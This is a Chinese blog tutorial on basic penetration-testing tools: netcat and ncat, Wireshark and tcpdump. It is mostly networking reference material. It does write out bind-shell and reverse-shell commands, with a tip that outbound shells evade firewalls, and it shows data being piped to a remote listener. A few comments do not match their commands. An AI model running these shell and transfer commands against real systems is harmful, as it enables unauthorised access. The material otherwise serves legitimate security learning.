渗透测试——基本工具
Contents
渗透测试——基本工具
一、NETCAT(nc)
- 网络工具中的瑞士军刀(小身材、大智慧)
- 侦听模式/传输模式
- telent/获取banner信息
- 传输文本信息
- 传输文件/目录
- 加密传输文件
- 远程控制/木马
- 加密所有流量
- 流媒体服务器
- 远程克隆硬盘
NC(TELNET/BANNER功能)
- nc -nv 1.1.1.1 110
- nc -nv 1.1.1.1 25
- nc -nv 1.1.1.1 80
nc作为客户端时,可以对服务器端进行侦听
示例:
ping pop3.163.com #查看163邮箱pop3的IP地址
nc -nv 123.125.50.29 110 #n只跟IP地址,不对DNS地址进行解析;v显示详细输出信息;参数后面跟 服务IP和端口
user 邮箱用户名(base64编码) 邮箱密码(base64编码)
通过以上命令可以在命令行下接受邮件。
NC(传输文本信息)
示例:
服务器端:nc -l -p 3333 #-l 表示侦听 -p指定打开的端口号
netstat -pantu | grep 3333 #查看3333端口是否打开
客户端: nc -nv 192.168.1.132 3333 #参数后面跟服务器的IP地址和开放的端口。
NC(远程电子取证信息收集)
示例1:
A对B当前目录信息进行取证
A:nc -l -p 3333 #-l表示侦听 -p指定打开的端口号 A对3333端口开始侦听
B:ls -l | nc -nv 192.168.153.132 3333 #将当前目录下的文件属性列表信息传递给A。
示例2:
A对B当前系统进程信息进行取证并存档
A:nc -l -p 3333>ps.txt #侦听3333端口,并把侦听内容重定向到当前目录的1.txt文件里
B:ps aux | nc -nv 192.168.153.132 -q 1 #将当前系统进程信息进行取证并存档到1.txt中 -q表示自动 断开nc连接
A:cat ps.txt #查看ps.txt文件内容
远程电子取证信息收集尽量少的去对目标机器进行修改。
NC(传输文件)
正向文件运输
A:mc -l -p 3333>1.mp4 #侦听端为文件接受端,接受对方3333端口发送的文件并命名为1.mp4
B:nc -nv 192.168.153.132 3333 <1.mp4 -q 1 #文件发送端
反向文件运输
A: nc -lp 3333< 1.mp4 -q 1 #侦听端为文件发送端,将1.mp4这个文件放在3333侦听端口上等待对方接收
B: nc -nv 192.168.0.5 3333> 1.mp4 #文件接收端
NC(传输目录)
NC(流媒体服务)
示例:
A:cat 1.mp4 | nc -l -p 3333 #A端为流媒体输出端,将1.mp4这个文件打开并通过3333端口进行输 出
B:nc -nv 192.168.153.130 | mplayer -vo x11 -cache 3000 #B端为流媒体客户端,将侦听A端3333 端口,并通过mplayer媒体播放器进行播放,设定缓存为3000K
NC(端口扫描)
示例:
nc -nvz 192.168.153.130 1-65535 #扫描目标主机TCP 1-65535开放的端口
nc -nvzu 192.168.153.130 1-65535 #扫描目标主机UDP 1-1024开放的端口
NC(远程控制)
服务器端开启远程控制:
服务器:nc -lp port -c bash#把shell交给过来连接的客户端
客户端:nc -nv ip port
客户端开启远程控制:
服务器端:nc -lp port
客户端:nc -nv IP port -c bash
window上将-c bash 改为-c cmd
注意事项:服务器防火墙一般会限制外网对内网的访问,但是内网对外网的访问限制可能被忽略。
内网对外网的访问限制:将DNS服务器单独隔离出来,只开放53端口开放侦听外网,
主动在客户端开启一个端口,并在服务器上侦听该端口,且把shell交给客户端。这种方式不容易被防火墙拦截。
NC的缺陷
缺乏数据加密和身份认证的能力
NCAT
nmap工具包中的ncat,设计用于弥补NC的缺陷。
nc版本太多,参数各不相同,使用起来有困难。
Ubantu版本没有-c,需要用临时文件去转换bash
遇到问题查看man命令手册(系统自带软件)
服务端开启端口:ncat -c bash –allow IP(指定可连接的客户端IP)-vnl port –ssl(防止嗅探者查看到明文信息)
客户端连接:ncat -nv IP port –ssl 互相交换指纹是一对一连接,保证安全。
二、WIRESHARK
常用功能
- 抓包嗅探协议分析
- 抓包引擎
- Libpcap9–Linux
- winpcap10-windows
基本使用方法:
1、终端输入wireshark,启动
2、选择要抓包的网卡。
3、打开捕获选项,勾选混杂模式(只抓捕本地信息(网卡绑定的ip地址信息),如果不选择捕获模式则无法获取广播(当前网络中的所有信息)信息)。
4、选择捕获过滤器,可以选择要抓包的内容,如ip地址 格式 host ip地址或者其他协议。
5、停止抓包后保存内容,尽量使用pcap格式。兼容性较好。
6、通过分析-显示过滤器对抓包结果进行过滤
数据包的分层结构
- Arp
- lcmp
- Tcp三次握手
1.源向目标发送syn包(确认连接)
2.目标向源发送syn、ack(回应并向源确认)
3.源向目标发送ack包(回应目标发送的syn)
- Udp
- Dns
- http
- ftp
数据流
- TCP流
- UDP流
- SSL流
- HTTP流
Tcpdump
tcpdump——抓包
wireshark是图形化工具,在服务器等没有图形化界面的设备上无法使用,此时tcpdump命令行工具可以代替
1 | tcpdump -i eth0 -s 0 -w a.cap/b.pcap |
-i 指定抓包接口,-s 指定抓包大小,0为抓取整个包,不指定则默认抓取64字节。-w 将抓到的包保存到某个文件,不指定则实时显示
1 | tcpdump -r a.cap/b.cap |
-r read读取
1 | tcpdump -A -r a.cap/b.cap |
-A 使用ascii码表转码显示,不要加在-r后面,不然会报错 -X 使用16进制显示
tcpdump——抓包筛选器
1 | tcpdump -i eth0 port 22 |
抓以太网0上22端口的包。
1 | tcpdump -i eth0 tcp port 22 |
抓以太网0上22端口的TCP包。 curl -v URL
tcpdump——显示筛选器
1 | tcpdump -n -r http.cap | awk '{print $3}' | sort -u |
-n 不对IP进行域名解析 AWK 默认用空格做分割 -u unique去重
1 | tcpdump -n src host IP -r file.cap/file.pcap |
src host IP 指定来源IP,src–>source
1 | tcpdump -n dst host IP -r file.cap/file.pcap |
dst destination,指定目标IP
1 | tcpdump -n udp port 53 -r file.cap/file.pcap |
udp 指定显示的协议 port 53 指定端口
Author: Shu1L
Link: https://shu1l.github.io/2020/03/12/shen-tou-ce-shi-ji-ben-gong-ju/
License: 知识共享署名-非商业性使用 4.0 国际许可协议